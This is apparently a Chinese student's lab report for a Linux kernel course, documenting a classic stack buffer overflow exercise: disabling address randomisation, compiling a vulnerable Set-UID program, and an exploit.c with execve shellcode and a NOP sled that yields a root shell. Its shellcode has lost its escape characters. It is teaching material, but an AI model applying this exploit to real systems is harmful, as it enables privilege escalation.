| 这个作业属于哪个课程 | 2020-2021-1Linux内核原理与分析 |
|---|---|
| 这个作业要求在哪里 | 2020-2021-1Linux内核原理与分析第十一周作业 |
| 这个作业的目标 | 缓冲区溢出漏洞实验 |
| 作业正文 | 本博客链接 |
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
二、实验准备
系统用户名 shiyanlou
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包：
$ sudo apt-get update $ sudo apt-get install –y lib32z1 libc6-dev-i386 $ sudo apt-get install –y lib32readline-gplv2-dev
三、实验步骤
3.1 初始设置
1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
2、此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。
linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：
3、输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入“/bin/bash”使用bash：
3.2 shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是 一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
观察以下代码：
#include <stdio.h> int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } 本次实验的 shellcode，就是刚才代码的汇编版本： x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
3.3 漏洞程序
在 /tmp 目录下新建一个 stack.c 文件：
按 i 键切换到插入模式，再输入如下内容：
下面是一个带有缓冲区溢出漏洞的程序。程序的功能是，从文件中一个长度为517的字符数组，调用带有漏洞的函数，将长度为517的字符串存储在长度为12的数组中，这一操作将导致缓冲区溢出，致使存储函数返回地址的栈空间被写入str中的值，函数不能正常返回。
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置 SET-UID。命令如下：
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c文件，输入如下内容：
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h>
char shellcode[] = "x31xc0" //xorl %eax,%eax "x50" //pushl %eax "x68""//sh" //pushl $0x68732f2f "x68""/bin" //pushl $0x6e69622f "x89xe3" //movl %esp,%ebx "x50" //pushl %eax "x53" //pushl %ebx "x89xe1" //movl %esp,%ecx "x99" //cdq "xb0x0b" //movb $0x0b,%al "xcdx80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
由于实验环境无法粘贴文件，我们提供代码下载，大家可以先运行查看效果：wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
注意上面的代码，x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。前面的x90为汇编指令的nop，不产生任何效果。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址，输入命令：
# gdb 调试
$ gdb stack
$ disass main
结果如图:
接下来的操作：
因为在实验楼环境存在问题，所以在使用gdb进行调试时，出现了错误，所以这里用了实验楼里实验指导的图，供分析用。结果应该如下图所示：
按 q 键，再按 enter 键可退出调试。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd420(十六进制) + 0x64(100的十六进制) = 0xffffd484(十六进制)
注意：实际操作中你的地址和我这里的地址可能不一样，需要根据你实际输出的结果来计算。
现在修改exploit.c文件！将 x??x??x??x?? 修改为 x84xd4xffxff
然后，编译 exploit.c 程序，先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果应该如下图所示：
可见，通过攻击，获得了root 权限！如果不能攻击成功，提示”段错误“，那么请重新使用 gdb 反汇编，计算内存地址。
四、练习
1、按照实验步骤进行操作，攻击漏洞程序并获得 root 权限。
答：这一步已完成
2、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。
答：因实验楼环境存在问题，所以无法给出结果图，但结果应该如下所示：
会发现没有攻击成功，没有取得root权限
五、实验总结
在本次实验中，我通过动手实践进一步意识到缓冲区溢出的危害，如缓冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权限。一般利用缓冲区溢出漏洞攻击root程序，大都通过执行类似“exec(sh)”的执行代码来获得root 的shell。而且缓冲区溢出攻击容易实现，这就使其成为一种常见安全攻击手段，成为远程攻击的主要手段。